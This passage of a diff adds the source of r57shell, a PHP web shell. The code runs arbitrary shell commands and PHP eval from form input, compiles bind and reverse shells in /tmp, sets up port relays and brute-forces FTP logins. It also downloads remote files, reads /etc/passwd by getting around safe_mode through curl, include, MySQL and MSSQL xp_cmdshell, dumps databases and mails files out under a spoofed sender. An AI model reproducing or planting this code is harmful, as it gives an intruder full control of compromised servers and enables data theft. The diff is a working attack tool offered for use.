$_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://rst.void.ru\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function up_down($id) + { + global $lang; + global $language; + return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option 